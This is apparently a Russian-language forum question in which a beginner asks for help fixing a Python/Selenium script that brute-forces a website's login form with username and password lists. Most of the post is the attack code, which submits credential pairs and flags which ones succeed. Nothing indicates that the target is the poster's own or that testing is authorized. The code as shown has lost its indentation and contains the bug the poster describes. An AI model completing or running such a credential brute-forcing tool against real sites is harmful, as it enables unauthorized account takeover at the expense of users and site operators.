Я новичок в Python и пытаюсь создать сценарий перебора, используя Python и Selenium для перебора сайта, используя имена пользователей и пароли из текстового файла. Проблема, с которой я сталкиваюсь, заключается в том, что скрипт берет первое имя пользователя и запускает его по списку паролей, а затем останавливается.
Я пытался перебирать списки, вкладываться в циклы и даже вызывать функцию с именами пользователей, представленными вручную. для тестирования, но все равно logi c выбирает только первое имя пользователя, а затем, как только заканчивается список паролей, приложение завершает работу.
Любая помощь будет высоко оценена.
user_list = open('usernamelist.txt' , 'r') #File containing usernames
pass_list = open('passwordlist.txt' , 'r') #File containing passwords
for usernm in user_list:
drv.get(target-website-url)
for passwd in pass_list:
username = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[1]/input")
username.send_keys(usernm.split())
password = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[2]/input")
password.send_keys(passwd.split())
submit = drv.find_element_by_xpath('//*[@id="loginButton"]')
submit.click()
time.sleep(1)
drv.refresh()
#To check for a successful or failed login using the current URL
login_fail = drv.current_url
if "redirect" in login_fail:
print("User" + usernm + " and " + passwd + " combo FAILED")
elif "dashboard" in login_fail:
print("User" + usernm + " and " + passwd + " combo SUCCEEDED")
drv.refresh()
time.sleep(2)